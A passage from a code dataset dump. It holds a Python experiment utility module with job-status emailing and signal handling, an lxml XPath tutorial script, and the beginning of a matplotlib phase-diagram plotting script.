"line_number": 10, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 10, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}, {"api_name": "mainapp.views.login", "line_number": 11, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 11, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 12, "usage_type": "call"}, {"api_name": "mainapp.views.logout", "line_number": 12, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 12, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 13, "usage_type": "call"}, {"api_name": "mainapp.views.register", "line_number": 13, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 13, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 14, "usage_type": "call"}, {"api_name": "mainapp.views.add_object", "line_number": 14, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 14, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 15, "usage_type": "call"}, {"api_name": "mainapp.views.olx_parse", "line_number": 15, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 15, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 16, "usage_type": "call"}, {"api_name": "mainapp.views.get_object", "line_number": 16, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 16, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 17, "usage_type": "call"}, {"api_name": "mainapp.views.edit_object", "line_number": 17, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 17, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 18, "usage_type": "call"}, {"api_name": "mainapp.views.confirm_object", "line_number": 18, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 18, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 19, "usage_type": "call"}, {"api_name": "mainapp.views.reject_object", "line_number": 19, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 19, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 20, "usage_type": "call"}, {"api_name": "mainapp.views.delete_object", "line_number": 20, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 20, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "mainapp.views.add_favorite", "line_number": 21, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 21, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 22, "usage_type": "call"}, {"api_name": "mainapp.views.del_favorite", "line_number": 22, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 22, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "mainapp.views.search", "line_number": 23, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 23, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 24, "usage_type": "call"}, {"api_name": "mainapp.views.account_posts", "line_number": 24, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 24, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 25, "usage_type": "call"}, {"api_name": "mainapp.views.account_sms", "line_number": 25, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 25, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 26, "usage_type": "call"}, {"api_name": "mainapp.views.account_sms_new", "line_number": 26, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 26, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 27, "usage_type": "call"}, {"api_name": "mainapp.views.account_sms_page", "line_number": 27, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 27, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 28, "usage_type": "call"}, {"api_name": "mainapp.views.account_approve", "line_number": 28, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 28, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 29, "usage_type": "call"}, {"api_name": "mainapp.views.account_favorites", "line_number": 29, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 29, "usage_type": "name"}, {"api_name": "django.conf.urls.static.static", "line_number": 31, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_URL", "line_number": 31, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 31, "usage_type": "name"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 31, "usage_type": "attribute"}]} +{"seq_id": "328888366", "text": "import os\n\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.base import MIMEBase\nfrom email.mime.text import MIMEText\nfrom email.utils import COMMASPACE, formatdate\nfrom email import encoders\n\nimport logging\nimport sys\nimport datetime\nimport signal\nimport shutil\nimport numpy as np\nimport torch\ndef get_logfile(exp_dir, silent, verbose):\n logfile = os.path.join(exp_dir, 'log.txt')\n logging.basicConfig(level=logging.DEBUG, filename=logfile, filemode=\"a+\",\n format=\"%(asctime)-15s %(message)s\")\n if not silent:\n root = logging.getLogger()\n root.setLevel(logging.DEBUG)\n ch = logging.StreamHandler(sys.stdout)\n if verbose:\n ch.setLevel(logging.INFO)\n else:\n ch.setLevel(logging.WARNING)\n formatter = logging.Formatter('%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')\n ch.setFormatter(formatter)\n root.addHandler(ch)\n return logfile\n\n#def summary_email(out_str, model, sigtype):\n# subject = 'JOB {} (Logfile = {}, PID = {}, GPU = {})'.format(sigtype, logfile, pid, args.gpu)\n# subject_string = '(Logfile = {}, PID = {}, GPU = {})'.format(logfile, pid, args.gpu)\n# attachments = [logfile]\n# text = \"\"\n# text += \"{}\\n\".format(model)\n# text += \"{}\".format(out_str)\n# send_msg(text, subject, args.sender, args.password, args.recipient, attachments)\n\nclass Emailer:\n def __init__(self, sender, password, recipient):\n self.sender = sender\n self.password = password\n self.recipient = recipient\n\n def send_msg(self, text, subject, attachments=None):\n msg = MIMEMultipart()\n msg['From'] = self.sender\n msg['To'] = self.recipient if self.recipient is not None else self.sender\n msg['Date'] = formatdate(localtime = True)\n msg['Subject'] = subject\n\n msg.attach(MIMEText(text))\n\n if attachments is not None:\n for f in attachments:\n part = MIMEBase('application', \"octet-stream\")\n part.set_payload( open(f,\"rb\").read() )\n encoders.encode_base64(part)\n part.add_header('Content-Disposition', 'attachment; filename=\"{0}\"'.format(os.path.basename(f)))\n msg.attach(part)\n\n server = smtplib.SMTP('smtp.gmail.com:587')\n server.ehlo()\n server.starttls()\n server.login(self.sender, self.password)\n server.sendmail(self.sender, self.recipient, msg.as_string())\n server.close()\n logging.info(\"SENT EMAIL\")\n\ndef timestring():\n dt = datetime.datetime.now()\n d = \"{}-{} at {:02d}:{:02d}:{:02d}\".format(dt.strftime(\"%b\"), dt.day, dt.hour, dt.minute, dt.second)\n return d\n\nclass SignalHandler:\n def __init__(self, emailer=None, exp_dir=None, logfile=None, need_input=False, subject_string=\"\", model=None):\n self.emailer = emailer\n self.results_strings = [\"FAILURE: No results to print!\"]\n self.need_input = need_input\n self.model = model\n self.logfile = logfile\n self.exp_dir = exp_dir\n self.subject_string = subject_string\n\n signal.signal(signal.SIGTERM, self.signal_term_handler)\n signal.signal(signal.SIGINT, self.signal_int_handler)\n\n def set_model(self, model):\n self.model = model\n\n def cleanup(self):\n answer = None if self.need_input else \"y\"\n while answer not in [\"\", \"y\", \"Y\", \"n\", \"N\"]:\n answer = input('Cleanup? (Y/n)\\n')\n if answer in [\"\", \"y\", \"Y\"]:\n shutil.rmtree(self.exp_dir)\n\n def signal_term_handler(self, signal, frame):\n d = timestring()\n alert = 'KILLED on {}'.format(timestring())\n logging.warning(alert)\n subject = \"Job {} {}\".format(\"KILLED\", self.subject_string)\n text = \"{}\\n{}\\n{}\".format(alert, self.results_strings[-1], self.model)\n attachments = [self.logfile]\n self.emailer.send_msg(text, subject, attachments)\n self.cleanup()\n sys.exit(0)\n\n def signal_int_handler(self, signal, frame):\n d = timestring()\n alert = 'INTERRUPTED on {}'.format(timestring())\n logging.warning(alert)\n subject = \"Job {} {}\".format(\"INTERRUPTED\", self.subject_string)\n text = \"{}\\n{}\\n{}\".format(alert, self.results_strings[-1], self.model)\n attachments = [self.logfile]\n self.emailer.send_msg(text, subject, attachments)\n self.cleanup()\n sys.exit(0)\n\n def job_completed(self):\n d = timestring()\n alert = 'Completed on {}'.format(timestring())\n logging.warning(alert)\n subject = \"Job {} {}\".format(\"Completed\", self.subject_string)\n text = \"{}\\n{}\\n{}\".format(alert, self.results_strings[-1], self.model)\n attachments = [self.logfile]\n self.emailer.send_msg(text, subject, attachments)\n self.cleanup()\n sys.exit(0)\n\nclass ExperimentHandler:\n def __init__(self, args, root_exp_dir):\n pid = os.getpid()\n\n ''' CUDA AND RANDOM SEED '''\n '''----------------------------------------------------------------------- '''\n np.random.seed(args.seed)\n if torch.cuda.is_available():\n torch.cuda.device(args.gpu)\n torch.cuda.manual_seed(args.seed)\n else:\n torch.manual_seed(args.seed)\n\n ''' CREATE MODEL DIRECTORY '''\n '''----------------------------------------------------------------------- '''\n #\n dt = datetime.datetime.now()\n filename_exp = '{}-{}/{:02d}-{:02d}-{:02d}'.format(dt.strftime(\"%b\"), dt.day, dt.hour, dt.minute, dt.second)\n exp_dir = os.path.join(root_exp_dir, filename_exp)\n os.makedirs(exp_dir)\n\n ''' SET UP LOGGING '''\n '''----------------------------------------------------------------------- '''\n logfile = get_logfile(exp_dir, args.silent, args.verbose)\n\n ''' SIGNAL HANDLER '''\n '''----------------------------------------------------------------------- '''\n emailer=Emailer(args.sender, args.password, args.recipient)\n signal_handler = SignalHandler(\n emailer=emailer,\n logfile=logfile,\n exp_dir=exp_dir,\n need_input=(args.gpu<0),\n subject_string='(Logfile = {}, PID = {}, GPU = {})'.format(logfile, pid, args.gpu),\n model=None\n )\n\n ''' RECORD SETTINGS '''\n '''----------------------------------------------------------------------- '''\n logging.info(\"Logfile at {}\".format(logfile))\n for k, v in sorted(vars(args).items()): logging.warning('\\t{} = {}'.format(k, v))\n\n logging.warning(\"\\tPID = {}\".format(pid))\n logging.warning(\"\\tRunning on GPU: {}\".format(torch.cuda.is_available()))\n\n self.logfile = logfile\n self.emailer = emailer\n self.signal_handler = signal_handler\n self.exp_dir = exp_dir\n self.pid = pid\n", "sub_path": "utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 7136, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.basicConfig", "line_number": 19, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 19, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 22, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 23, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 24, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 24, "usage_type": "attribute"}, {"api_name": "logging.INFO", "line_number": 26, "usage_type": "attribute"}, {"api_name": "logging.WARNING", "line_number": 28, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 29, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 50, "usage_type": "call"}, {"api_name": "email.utils.formatdate", "line_number": 53, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 56, "usage_type": "call"}, {"api_name": "email.mime.base.MIMEBase", "line_number": 60, "usage_type": "call"}, {"api_name": "email.encoders.encode_base64", "line_number": 62, "usage_type": "call"}, {"api_name": "email.encoders", "line_number": 62, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "smtplib.SMTP", "line_number": 66, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 72, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 75, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 89, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 89, "usage_type": "attribute"}, {"api_name": "signal.signal", "line_number": 90, "usage_type": "call"}, {"api_name": "signal.SIGINT", "line_number": 90, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 100, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 105, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 111, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 116, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 122, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 127, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 133, "usage_type": "call"}, {"api_name": "os.getpid", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 141, "usage_type": "attribute"}, {"api_name": "torch.cuda.is_available", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 142, "usage_type": "attribute"}, {"api_name": "torch.cuda.device", "line_number": 143, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 143, "usage_type": "attribute"}, {"api_name": "torch.cuda.manual_seed", "line_number": 144, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 144, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 146, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 151, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 151, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path", "line_number": 153, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 154, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 174, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 175, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 177, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 178, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 178, "usage_type": "attribute"}]} +{"seq_id": "596810211", "text": "# -*- author:caoyue -*-\nfrom lxml import etree\n\ncon = '''\n
    \n \n 12345\n
  • lllllll
    • \n
    \n'''\n\n# 1,通过etree.HTML 方法加载需要解析的文档\nhtml = etree.HTML(con)\n\n# 2,通过返回对象的xpath方法，找到需要的数据\n# xpath 放回的元素对象都是一个列表\n# /是表示当前文档的一级子元素\nele = html.xpath('/html')\nprint(etree.tostring(ele[0]))\n\n# //是查找当前文档的任何子孙元素\nele = html.xpath('//li')\nfor e in ele:\n print(etree.tostring(e))\n\n# ./表示查找当前元素的直接元素\nele = html.xpath('//ul')\nli = ele[0].xpath('./li')\nprint(li)\n\n# ../表示当前元素的上级元素\nele = html.xpath('//ul')\nul = ele[0].xpath('../ul')\nprint(ul)\n\n# 3,所有的非标准会被xpath加载为一个标准的文档，就是含有html和body标签\n# print(etree.tostring(html))\n\n# 找含有id属性的li标签\nele = html.xpath('//li[@id]')\nprint(etree.tostring(ele[1]))\n\n# 找li标签的class值为item-inactive的\nele = html.xpath('//li[@class=\"item-inactive\"]')\nprint(etree.tostring(ele[0]))\n\n# 找含有id属性的li标签的class属性的值\n# ele = html.xpath('//li[@id]/@class')\nele = html.xpath('//li[@id]/@style')\nprint(ele)\n\n# 查找li元素的class=item-1 并且id=abc\nele = html.xpath('//li[@id=\"abc\" and @class=\"item-1\"]')\nprint(etree.tostring(ele[0]))\n\n# 查找不含有id属性的li标签\nele = html.xpath('//li[not(@id)]')\nfor e in ele:\n print(etree.tostring(e))\n\n# 同时找到ul和span标签\nele = html.xpath('//ul | //span')\nfor e in ele:\n print(etree.tostring(e))\n\n\n# 查找li标签中class属性包含1\nele = html.xpath('//li[contains(@class, \"1\")]')\nfor e in ele:\n print(etree.tostring(e))\n\n# 查找li标签中id属性以w开头\nele = html.xpath('//li[starts-with(@id, \"w\")]')\nfor e in ele:\n print(etree.tostring(e))\n\n# 查找li标签中id属性以c结尾\n# ele = html.xpath('//li[ends-with(@id, \"c\")]')\n# for e in ele:\n# print(etree.tostring(e))\n\n# 查找最后一个li标签,找的是同级的最后一个\nele = html.xpath('//li[last()]')\nfor e in ele:\n print(etree.tostring(e))\n\n# 查找第一个li标签，找的也是同级的\n# ele = html.xpath('//li[position()=1]')\nele = html.xpath('//li[1]') #中括号中的位置是从1开始的\nfor e in ele:\n print(etree.tostring(e))\n\n# 从第三个li标签找到所有的li元素\nele = html.xpath('//li[position()>=3]')\nfor e in ele:\n print(etree.tostring(e))\n\n# 找到最后一个a标签的内容\nele = html.xpath('//li[last()]/a/text()')\nprint(ele)\n\n\n\n\n\n\n\n\n", "sub_path": "15-xpath.py", "file_name": "15-xpath.py", "file_ext": "py", "file_size_in_byte": 2972, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "lxml.etree.HTML", "line_number": 19, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 19, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 25, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 25, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 30, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 30, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 47, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 47, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 51, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 51, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 60, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 60, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 65, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 65, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 70, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 70, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 76, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 76, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 81, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 81, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 91, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 91, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 97, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 97, "usage_type": "name"}, {"api_name": "lxml.etree.tostring", "line_number": 102, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 102, "usage_type": "name"}]} +{"seq_id": "332725186", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\ndirectory = \"PhaseDiagram\"\nfileName = \"MeanArea\"\nparam = np.loadtxt(\"../../data/{}/{}.txt\".format(directory, fileName), unpack=True)\n\ndef FindContour(param, threshold_x, threshold_y):\n points = []\n for i, parami in enumerate(param):\n for j, param_ij in enumerate(parami):\n # if (j > 0):\n # if (abs(param_ij - param[i, j - 1]) > threshold_y):\n # points.append((j, i))\n if (i > 0):\n if (abs(param_ij - param[i - 1, j]) > threshold_x):\n points.append((j, i))\n return np.array(points).T\n\ndef extractLines(ps, Ds, upperDs):\n plines = [np.array([])] * 11\n Dlines = [np.array([])] * 11\n for i, (p, D) in enumerate(zip(ps, Ds)):\n if (i == 0):\n plines[0] = np.append(plines[0], p)\n Dlines[0] = np.append(Dlines[0], D)\n else:\n for j, (line, upperD) in enumerate(zip(plines, upperDs)):\n# print(D, p, i, j)\n if (len(line) == 0 and p > ps[i - 1]):\n plines[j] = np.append(plines[j], p)\n Dlines[j] = np.append(Dlines[j], D)\n break;\n elif (p <= line[-1] and D < upperD):\n plines[j] = np.append(plines[j], p)\n Dlines[j] = np.append(Dlines[j], D)\n break;\n return plines, Dlines\n\ndef appendHardSpheres(plines, Dlines, hardSpheresDs):\n for i in range(len(plines)):\n plines[i] = np.append(plines[i], 0)\n Dlines[i] = np.append(Dlines[i], hardSpheresDs[i])\n return plines, Dlines\n\n# LineSlip data\npointsLS = FindContour(param[:315,:].T, 0.15, 0.2)\nD_zLS = 1.5 + pointsLS[0] * 0.0025\npLS = 0.0004 + pointsLS[1] * 0.0002\n\npLS = pLS[np.argsort(D_zLS)]\nD_zLS = np.sort(D_zLS)\nupperDs = np.array([1.855, 1.9, 1.98, 2.0, 2.05, 2.1, 2.15, 2.165, 2.25, 2.2525, 2.3])\nhardSphereDs = np.array([1.866, 1.87, 1.99, 2.0, 2.038, 2.041, 2.15, 2.154, 2.2247, 2.23, 2.2905])\n\nplines, Dlines = extractLines(pLS, D_zLS, upperDs)\nplines, Dlines = appendHardSpheres(plines, Dlines, hardSphereDs)\npU7 = np.append(0.02, plines[0])\nD_zU7 = np.append(1.55, Dlines[0])\npU6 = np.append(0.02, plines[1])\nD_zU6 = np.append(1.675, Dlines[1])\npU5 = np.append(0.02, plines[2])\nD_zU5 = np.append(1.682, Dlines[2])\n\npLS8 = plines[3]\nD_zLS8 = Dlines[3]\npLS7 = plines[4]\nD_zLS7 = Dlines[4]\npLS6 = plines[5]\nD_zLS6 = Dlines[5]\npLS5 = plines[6]\nD_zLS5 = Dlines[6]\npLS4 = plines[7]\nD_zLS4 = Dlines[7]\npLS3 = plines[8]\nD_zLS3 = Dlines[8]\npLS2 = plines[9]\nD_zLS2 = Dlines[9]\npLS1 = plines[10]\nD_zLS1 = Dlines[10]\n\n# Uniform data\npointsU1 = FindContour(param[266:305, 23:].T, 0.009, 0.01)\nD_zU1 = 1.5 + 266 * 0.0025 + pointsU1[0] * 0.0025\npU1 = 0.0004 + 23 * 0.0002 + pointsU1[1] * 0.0002\n\nD_zU1Red = D_zU1[np.any(np.array([D_zU1 < 2.2, pU1 < 0.015]), axis=0)]\npU1Red = pU1[np.any(np.array([D_zU1 < 2.2, pU1 < 0.015]), axis=0)]\nD_zU1Red = np.append(2.171, D_zU1Red[::-1])\npU1Red = np.append(0.02, pU1Red[::-1])\n\npointsU2 = FindContour(param[228:265, 33:].T, 0.009, 0.01)\nD_zU2 = 1.5 + 228 * 0.0025 + pointsU2[0] * 0.0025\npU2 = 0.0004 + 33 * 0.0002 + pointsU2[1] * 0.0002\n\nD_zU2 = np.append(2.08, D_zU2[::-1])\npU2 = np.append(0.02, pU2[::-1])\n\npointsU3 = FindContour(param[190:220, 69:].T, 0.009, 0.01)\nD_zU3 = 1.5 + 190 * 0.0025 + pointsU3[0] * 0.0025\npU3 = 0.0004 + 69 * 0.0002 + pointsU3[1] * 0.0002\n\nD_zU3 = np.append(1.983, D_zU3[::-1])\npU3 = np.append(0.02, pU3[::-1])\n\npointsU4 = FindContour(param[118:181, 22:].T, 0.009, 0.01)\nD_zU4 = 1.5 + 118 * 0.0025 + pointsU4[0] * 0.0025\npU4 = 0.0004 + 22 * 0.0002 + pointsU4[1] * 0.0002\n\nD_zU4Red = D_zU4[np.any(np.array([D_zU4 > 1.86, pU4 > 0.011]), axis=0)]\npU4Red = pU4[np.any(np.array([D_zU4 > 1.86, pU4 > 0.011]), axis=0)]\nD_zU4Red = np.append(1.7925, D_zU4Red[::-1])\npU4Red = np.append(0.02, pU4Red[::-1])\n\nD_zU4Red2 = D_zU4Red[np.any(np.array([D_zU4Red > 1.9, pU4Red > 0.007]), axis=0)]\npU4Red2 = pU4Red[np.any(np.array([D_zU4Red > 1.9, pU4Red > 0.007]), axis=0)]\n\n# inner line slip data\npointsInnerLS1 = FindContour(param[263:280, :25].T, 0.03, 0.01)\nD_zInnerLS1 = 1.5 + 263 * 0.0025 + pointsInnerLS1[0] * 0.0025\npInnerLS1 = 0.0004 + pointsInnerLS1[1] * 0.0002\n\nD_zInnerLS1Red = np.concatenate((\n np.array([2.195]),\n D_zInnerLS1[np.all(np.array([D_zInnerLS1 > 2.175, pInnerLS1 < 0.002]), axis=0)],\n D_zInnerLS1[np.all(np.array([D_zInnerLS1 < 2.185, pInnerLS1 < 0.0034]), axis=0)],\n D_zInnerLS1[np.all(np.array([D_zInnerLS1 < 2.175, pInnerLS1 < 0.0042]), axis=0)],\n D_zInnerLS1[np.all(np.array([D_zInnerLS1 < 2.17, pInnerLS1 < 0.005]), axis=0)],\n))\npInnerLS1Red = np.concatenate((\n np.array([0]),\n pInnerLS1[np.all(np.array([D_zInnerLS1 > 2.175, pInnerLS1 < 0.002]), axis=0)],\n pInnerLS1[np.all(np.array([D_zInnerLS1 < 2.185, pInnerLS1 < 0.0034]), axis=0)],\n pInnerLS1[np.all(np.array([D_zInnerLS1 < 2.175, pInnerLS1 < 0.0042]), axis=0)],\n pInnerLS1[np.all(np.array([D_zInnerLS1 < 2.17, pInnerLS1 < 0.005]), axis=0)],\n))\n\npInnerLS1Red = np.delete(pInnerLS1Red, -3)\nD_zInnerLS1Red = np.delete(D_zInnerLS1Red, -3)\n\npInnerLS2 = np.array([0, 0.0008, 0.0012, 0.0016, 0.0020])\nD_zInnerLS2 = np.array([2.265, 2.2625, 2.26, 2.2575, 2.2555])\n\n####################################################################\n\n# Areas\nAreaZigZag1Y = pU7\nAreaZigZag1X = D_zU7\n\nAreaZigZag2X = np.concatenate((D_zU6, D_zU7[::-1]))\nAreaZigZag2Y = np.concatenate((pU6, pU7[::-1]))\n\nAreaTwistZigZagX = np.concatenate((D_zU5, D_zU6[::-1]))\nAreaTwistZigZagY = np.concatenate((pU5, pU6[::-1]))\n\nArea220X = np.concatenate((D_zU4Red2, D_zLS8, D_zU5[::-1]))\nArea220Y = np.concatenate((pU4Red2, pLS8, pU5[::-1]))\n\nArea220LSX = np.concatenate((D_zLS8[::-1], D_zLS7))\nArea220LSY = np.concatenate((pLS8[::-1], pLS7))\n\nArea321X = np.concatenate((D_zU4Red2, D_zLS7, D_zLS6[::-1], D_zU3[::-1]))\nArea321Y = np.concatenate((pU4Red2, pLS7, pLS6[::-1], pU3[::-1]))\n\nArea321LSX = np.concatenate((D_zLS6[::-1], D_zLS5))\nArea321LSY = np.concatenate((pLS6[::-1], pLS5))\n\nArea330X = np.concatenate((D_zU3, D_zLS5, D_zLS4[::-1], D_zU2[::-1]))\nArea330Y = np.concatenate((pU3, pLS5, pLS4[::-1], pU2[::-1]))\n\nArea422X = np.concatenate((D_zU2, D_zLS3, D_zLS2[::-1], D_zU1Red[::-1]))\nArea422Y = np.concatenate((pU2, pLS3, pLS2[::-1], pU1Red[::-1]))\n\nArea431X = np.concatenate((D_zU1Red, D_zLS1, np.array([2.3, 2.3])))\nArea431Y = np.concatenate((pU1Red, pLS1, np.array([0, 0.02])))\n\nArea330LS2X = np.concatenate((D_zInnerLS2, D_zLS1[11:]))\nArea330LS2Y = np.concatenate((pInnerLS2, pLS1[11:]))\n\nArea422LSX = np.concatenate((D_zLS2[::-1], D_zLS1[1:11], D_zInnerLS2[::-1]))\nArea422LSY = np.concatenate((pLS2[::-1], pLS1[1:11], pInnerLS2[::-1]))\n\nArea321LS2X = np.concatenate((D_zInnerLS1Red, D_zLS3[10:]))\nArea321LS2Y = np.concatenate((pInnerLS1Red, pLS3[10:]))\n\nArea330LSX = np.concatenate((D_zLS4[::-1], D_zLS3[:10], D_zInnerLS1Red[::-1]))\nArea330LSY = np.concatenate((pLS4[::-1], pLS3[:10], pInnerLS1Red[::-1]))\n\nDTransitionLine1X = np.concatenate((D_zU1Red, D_zLS1[:11], D_zInnerLS2[::-1]))\nDTransitionLine1Y = np.concatenate((pU1Red, pLS1[:11], pInnerLS2[::-1]))\nDTransitionLine2X = np.concatenate((D_zU2, D_zLS3[:10], D_zInnerLS1Red[::-1]))\nDTransitionLine2Y = np.concatenate((pU2, pLS3[:10], pInnerLS1Red[::-1]))\nDTransitionLine3X = np.concatenate((D_zU3, D_zLS5))\nDTransitionLine3Y = np.concatenate((pU3, pLS5))\n\n#####################################################\n\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1)\n\nColors = plt.get_cmap(\"terrain\")(np.linspace(0, 1, 40))\nalpha = 0.7\nex = 1\n\nax.fill_betweenx(AreaZigZag1Y, AreaZigZag1X**ex, color=Colors[0], alpha=alpha)\nax.fill_betweenx(AreaZigZag2Y, AreaZigZag2X**ex, color=Colors[3], alpha=alpha)\nax.fill_betweenx(AreaTwistZigZagY, AreaTwistZigZagX**ex, color=Colors[5], alpha=alpha)\nax.fill_betweenx(Area220Y, Area220X**ex, color=Colors[8], alpha=alpha)\nax.fill_betweenx(Area220LSY, Area220LSX**ex, color=Colors[10], alpha=alpha)\nax.fill_betweenx(Area321Y, Area321X**ex, color=Colors[14], alpha=alpha)\nax.fill_betweenx(Area321LSY, Area321LSX**ex, color=Colors[16], alpha=alpha)\nax.fill_betweenx(Area330Y, Area330X**ex, color=Colors[20], alpha=alpha)\nax.fill_betweenx(Area330LSY, Area330LSX**ex, color=Colors[23], alpha=alpha)\nax.fill_betweenx(Area321LS2Y, Area321LS2X**ex, color=Colors[16], alpha=alpha)\nax.fill_betweenx(Area422Y, Area422X**ex, color=Colors[26], alpha=alpha)\nax.fill_betweenx(Area422LSY, Area422LSX**ex, color=Colors[29], alpha=alpha)\nax.fill_betweenx(Area330LS2Y, Area330LS2X**ex, color=Colors[23], alpha=alpha)\nax.fill_betweenx(Area431Y, Area431X**ex, color=Colors[35], alpha=alpha)\n\nlinewidth = 2.\n\nax.plot(DTransitionLine1X**ex, 